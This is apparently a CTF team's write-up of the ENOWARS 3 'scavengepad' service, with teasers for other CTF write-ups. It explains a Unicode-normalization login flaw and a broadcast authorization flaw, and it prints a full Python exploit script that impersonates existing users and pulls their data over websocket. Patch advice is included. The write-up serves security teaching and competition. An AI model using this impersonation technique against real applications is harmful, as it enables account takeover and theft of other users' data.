ENOWARS 3 - scavengepad

Unicode Normalization leads to bad things

Overview

Service home page

scavengepad was a ASP .NET Core 2.2 web service, using Entity Framework Core with PostgreSQL for data storage and a Redis instance for session storage. It allows its users to create shared operations and objectives, collaboratively edit associated markdown documents and upload files.

An operation

1st vuln: RNG thread-safety (saarsec)

Members of the saarsec CTF team have written an excellent writeup of the service and the vulnerability they found – a problem with the random number generator. The random numbers are used to create the unique paths to access the stored markdown documents. Anyone who knows or guesses the path can request and view such a document.

They found that the System.Random class, which is part of the .NET framework, is not safe for concurrent access from multiple threads. In that case calls to methods that return random numbers return 0. Which is quite bad news for the uniqueness of the document paths.

2nd vuln: Unicode Normalization

We, however, discovered a different problem during the game. There was a Unicode Normalization vulnerability which can be exploited at the login of a user.

Here is the LoginController code:

[Route("api/[controller]")]
[ApiController]
public class LoginController : Controller
{
    [HttpPost]
    public async Task<IActionResult> Post([FromForm] string username, [FromForm] string password)
    {
        if (await DbUtils.TestLogin(username, password))
        {
            var user = await DbUtils.GetUser(username);
            HttpContext.Session.SetInt32("userid", (int) user.Id);
            return Json(new {
                username = user.Username,
                teamId = user.TeamId
            });
        }
        throw new Exception();
    }
}

Note that the DbUtils.TestLogin method is called first to see whether there is any user with a matching username/password combination. If so, the DbUtils.GetUser method is used to get the user details, in particular the user id which is attached to the session. The result determines the effective user identity for later requests.

    internal static async Task<bool> TestLogin(string name, string password)
    {
        using (var ctx = new ScavengePadDbContext())
        {
            return await ctx.Users
                .Where(u => u.Username == name.ToByteArray() && u.Password == password.ToByteArray())
                .CountAsync() == 1;
        }
    }

    internal static async Task<User> GetUser(string name)
    {
        using (var ctx = new ScavengePadDbContext())
        {
            return await ctx.Users
                .Where(u => u.Username == name.Normalize().ToByteArray())
                .FirstAsync();
        }
    }

Comparing these two methods, there is a striking difference in the string comparison: GetUser calls .Normalize() on the username, while TestLogin does not. By exploiting the different comparison methods, we could get logged in as a different user without having knowledge of their password.

String.Normalize() returns "a new string whose textual value is the same as this string, but whose binary representation is in Unicode normalization form C."

Normalization is required because for many Unicode characters, there are different possible binary representations, which is a problem when such a string is to be compared or sorted. When normalizing, all equivalent characters will be brought into the same binary representation – in this case, into the Normalization Form Canonical Composition (NFC), where "characters are decomposed and then recomposed by canonical equivalence."

Exploitation

To exploit the discovered problem, we need to create a different binary representation of a username that already exists in the database.

Luckily, the service has a UserStatistics endpoint where we can get the usernames of up to 100 recently created users at a time. Also, most of the users the gamebot is creating have an Umlaut in their name, e.g. "VeronikaRädel416344666", "AmandaKlingelhöfer9413798836" or "HüseyinHartmann6723966473".

We can take that name, replace the composed representation of, e.g., the character ä (\u00e4, "latin small letter a with diaeresis") with the decomposed representation of (\u0061\u0308, "latin small letter a" followed by "combining diaeresis"), and register as a new user. TestLogin will let us log in with our own password, but GetUser will return the user id of the original user and allow us to impersonate him or her. Then, we can simply open a websocket connection and get delivered the OperationMessages containing the flags.

Exploit script

import requests
import base64
import sys
import websocket

host = "http://scavengepad.teamX.enowars.com"
replacements = {
    'ö': 'o\u0308',
    'ä': 'a\u0308',
    'ü': 'u\u0308',
}
password = 'w0y'
authkey = 'w0y'

# fetch latest users
users_api = host + '/api/UserStatistics?take=20&drop=0'
encoded_users = requests.get(users_api).json()

# decode Base64 and .NET internal UTF-16 encoding (because of .ToByteArray)
users = []
for encoded in encoded_users:
    user = ''
    encoded = base64.b64decode(encoded)
    for i in range(0, len(encoded), 2):
        user += encoded[i:i+2].decode('utf-16-le', 'ignore')
    users.append(user)

# replace characters with their decomposed versions
for user in users:
    if not any(c in user for c in replacements.keys()):
        continue
    for old, new in replacements.items():
        user = user.replace(old, new)

    # blindly register new user and log in
    s = requests.Session()
    register = s.post(host + '/api/Registration', data = {
        'username': user,
        'password1': password,
        'authkey': authkey
    })

    login = s.post(host + '/api/Login', data = {
        'username': user,
        'password': password
    })

    cookies = ''
    for name, value in requests.utils.dict_from_cookiejar(s.cookies).items():
        cookies += '{0}={1};'.format(name, value)

    # get OperationMessages JSON via websocket
    ws = websocket.create_connection(host.replace('http://', 'ws://') + '/scavengepadws/',
                                     cookie = cookies)
    messages = ws.recv()
    print(messages)
    ws.close()

Patching

To patch the service against this vuln, either add the Normalize() call to both methods or take it out completely. Recompile and and call it a day. How about a beer? 🍺

3rd vuln: Unverified user input on file upload

A third problem was hidden inside the functionality to upload files – it is never checked whether or not the operationId sent by the user refers to an operation that the user may access. We did not discover this vulnerability until sometime after the game.

When uploading a file using a POST request, three parameters are sent: the contents of the file, the objectiveId and the operationId. While the objectiveId determines to which objective the file is attached to, the operationId serves only to broadcast the OperationMessage update to the associated channel.

    public static async Task InsertFilesForObjective(IEnumerable<IFormFile> files, long uploaderId, long objectiveId, long operationId)
    {
        using (var ctx = new ScavengePadDbContext())
        {
            var objective = [...]
            foreach (var formFile in files)
                [...]

            await ScavengePadController.DispatchOperationUpdate((await ctx.Users.FindAsync(uploaderId)).TeamId, operationId);
        }
    }
    public static async Task DispatchOperationUpdate(long teamId, long operationId)
    {
        var channel = await GetOrCreateChannel(teamId);
        await channel.DispatchOperationUpdate(operationId);
    }

As can be seen in the above code snippet, there is a channel for every team. The channel object holds a list of connected team users and their open websocket connections.

The Channel is fetched based on the teamId of the uploading user (i.e., the attacker). But when broadcasting the updated OperationMessage, it is never checked whether the given operationId is indeed an operation that belongs to the team of that user:

    public async Task DispatchOperationUpdate(long operationId)
    {
        using (await Lock.LockAsync())
        {
            var operation = await DbUtils.GetOperation(operationId);
            Broadcast(operation.TeamId, new WebSocketServerMessage()
            {
                ModifyOperationMessage = new OperationMessage(operation)
            });
        }
    }

    private void Broadcast(long channelId, WebSocketServerMessage message)
    {
        foreach (var client in Clients)
        {
            client.OutputQueue.Enqueue(message);
        }
    }

Note that the first parameter of the Broadcast method, the channel or team ID, is never used inside the method.

Exploitation

In effect, the file uploader can simply send an Operation ID of any team and will get the OperationMessage update with data from that other team pushed via websocket. Flags, baby, flags.

Patching

Since the parameters are already prepared for you, it should suffice to add a check for each client inside the Broadcast method: In case the client.User.TeamId does not match the given channelId, do not send the message to that client.

Summary

We successfully exploited a Unicode vulnerability in the scavengepad service during the ENOWARS game and found one more unverified-user-input vuln afterwards. Saarsec found and exploited a different vuln, based on the non-thread-safety of the random number generator in the System.Random class. If there really are four of them, that leaves at least one vuln to still be discovered.

Thanks to ENOFLAG for hosting the game, creating all the services and spreading the enlightenment that is IPv6! Or, as we've recently taken to calling it, non-legacy IP.


hack.lu 2019 - Trees For Future

SSI injection, connect back to local MySQL, second order blind SQLi

Description We are TreesForFuture. We actively work towards getting more trees onto this planet. Recently we hired a contractor to create a website for us. While we still need to fill it with content in some places, you can already look at it http://31.22.123.49:1908. Preface Having scored the first blood and with only 2 teams solving the challenge, I thought it was almost mandatory to publish a write-up. I have to say that I really liked it,...

Read More
Tasteless 2019 - Gabbr

CSP, CSS

Overview gabbr is an online chatroom service. Upon loading the page, one joins a chatroom specified in the anchor part of the URL e.g. https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d. If no name is specified, a random UUID is generated upon join. The main functionality is to send messages in the chatroom. Furthermore, one can change the username to another randomly generated one, join a new random chatroom and report the chatroom to an admin. Upon reporting an admin joins the...

Read More
hack.lu 2019 - Car Repair Shop

prototype pollution, URL regex bypass, DOM-XSS

Challenge Description "Your Car broke down?! Come to our shop, we repair all cars! Even very old ones." Enter the Shop Analysis After accessing the URL of the challenge description the following page showed up: Here we can see several buttons which will execute certain functions when clicked. Below there is a message box which gets updated after some function was executed. At the bottom there was another button named Get your cookie! which lead to...

Read More
SECCON 2018 Quals - Runme

reversing

General problem description Given was a Windows binary, which was apparently waiting to be started with the correct cmd arguments. Solution The binary checked character by character the cmd arguments with a hard-coded value which was: "C:\\Temp\\SECCON2018Online.exe" SECCON{Runn1n6_P47h} The flag was: SECCON{Runn1n6_P47h}...

Read More
SECCON 2018 Quals - Special device file

reversing

General problem description We were given a arm64 ELF-Binary which was accessing a special device named xorshift64. The flag and some additional random values were hard-coded into the elf. Solution The ELF does more-or-less the same as this pseudocode: # init device #with open('/dev/xorshift64', 'r') as d: d.write(0x139408fcbbf7a44) # decode flag with open('/dev/xorshift64', 'r') as d: for i Read More


SECCON 2018 Quals - Special instructions

reversing

General problem description We were given a moxie ELF-Binary which was implementing the xorshift32 PRNG algorithm. The flag and some additional random values were hard-coded into the elf. Solution Similar to the Special device file challenge the binary took the flag xored with a random value hard-coded into to binary and xored again with a value taken from the xorshift32 algorithm. The catch was again, that we didn't know the correct configuration of the algorithm only the seed and...

Read More
SECCON 2018 Quals - Needle in a haystack

Media

General problem description We got a 9 hours long video captured with a webcam on the top of a tall building in Tokyo(?). Find the flag. Solution First our guess was, that there will be a single frame which shows the flag, but fast-forwarding the video did not reveal anything like that. The next idea was to export every frame and use fuzzy hashing to find very different frames. While the script was doing the exporting we were fast-forwarding the...

Read More
HITCON 2018 - EV3 Basic

MISC

General problem description For this challenge we got a picture of a Lego Mindstorm EV3, which displays the flag partly (see below). And we also got a pcap (OK, it was in the apple PackageLogger format) with captured Bluetooth transmission. Solution The pcap shows Bluetooth traffic, and wireshark finds furthermore identifies RFCOMM protocol. Some of them includes additional data parts. If you dig around long enough on the internet you can find a wireshark dissector written...

Read More
HITCON 2018 - EV3 Scanner

MISC

General problem description Similar to the previous challenge we got two images (see below) and a pcap. Solution Like before we use the found wireshark dissector to see what happens. However this time we find way more relevant packages than before. After some filtering we identified, that the base station sends only four different commands: OUTPUT_TIME_SPEED: go in a direction with a constant speed for given time OUTPUT_STEP_SYNC: turn given "ticks" long OUTPUT_STEP_SPEED: go in...

Read More
Hack.lu CTF 2018 - Rusty CodePad

Rust Safe Code Bypass

Description I heard Rust is a safe programming language. So I built this CodePad where you can compile and run safe Rust code. Initial Situation We had access to a web-terminal with a limited set of commands: $ help help - print this help clear - clear screen ls - list files cat - print file content rusty - compile rusty code version - print version Calling ls reveals a Rust project file structure and a file called flag.txt: $ ls flag.txt target src lib rusty.sh Cargo.toml Now, running...

Read More
Google CTF Quals 2018 - JS Safe

JavaScript Anti-Debug

General problem definition You stumbled upon someone's "JS Safe" on the web. It's a simple HTML file that can store secrets in the browser's localStorage. This means that you won't be able to extract any secret from it (the secrets are on the computer of the owner), but it looks like it was hand-crafted to work only with the password of the owner... The assignment was a Javascript file, which needs the Flag as input. Getting to...

Read More
Google CTF Quals 2018 - Shall We Play A Game?

Android APK Reversing

General problem description Win the game 1,000,000 times to get the flag. For this challenge we got an .apk file, which we should apperently run and win 1,000,000 times. We let the online Java-decompiler at http://www.javadecompilers.com/apk. Running the apk on an Android-Phone or emulator shows us the game: Tic Tac Toe. We also get a counter 0/1000000 on the bottom of the screen. Each win increases the counter by one. Naive approach by recompiling the app We used...

Read More
Google CTF Quals 2018 - Back To Basics

C64 BASIC Reversing

General problem description You won't find any assembly in this challenge, only C64 BASIC. Once you get the password, the flag is CTF{password}. P.S. The challenge has been tested on the VICE emulator. We got an old .prg file, which is a C64 program file. Parsing the file First we tried using parsers that exist in the wild, that would parse the file for us, but that proved to be not effective, as there were not many and...

Read More
UCSB iCTF 2017 - yacs

Yet another... cat service?!

yacs is a tool to store and later retrieve text snippets. If you store program source code there, it can even compile it for you! So handy. Of course, everything is protected using state-of-the-art user authorization and password hashing. It's a big C++ compiled binary which uses a local SQLite database file for data storage. Here's a normal create/list paste workflow: ___...

Read More
EKOPARTY CTF 2016 - FBI 300

Bitcoin as OP_RETURN Dropbox

The description of the challenge was as follows: There has been some strange transactions on this blockchain! Let's do some research. After downloading and extracting the data (fbi300_64635d9aa64b20d0.7z) is was clear that we where looking at at a .bitcoin folder of a bitcoin-core client hat was started in regtest mode. As a first guess we used bitcoin-abe to read and analyze the blockchain. (https://github.com/bitcoin-abe/bitcoin-abe). Since bitcoin-abe looks out-of-the-box in the default bitcoin directory ($HOME/.bitcoin/blcoks/*) the only thing we had...

Read More
TrendMicroCTF 2016 - SCADA 300

SCADA APT's FTW

The description of the challenge was as follows: In this challenge you are presented with a PCAP that comes from a network infected by a well known SCADA related APT Threat (hint: pay attention to potential C&C) Identify the relevant packets related to the malware and attempt to find the flag in the normal format So first we had to download and unpack the relevant file. After fiddling around with wireshark we identified a suspiciously looking HTTP...

Read More
  • 1
  • 2
Navigation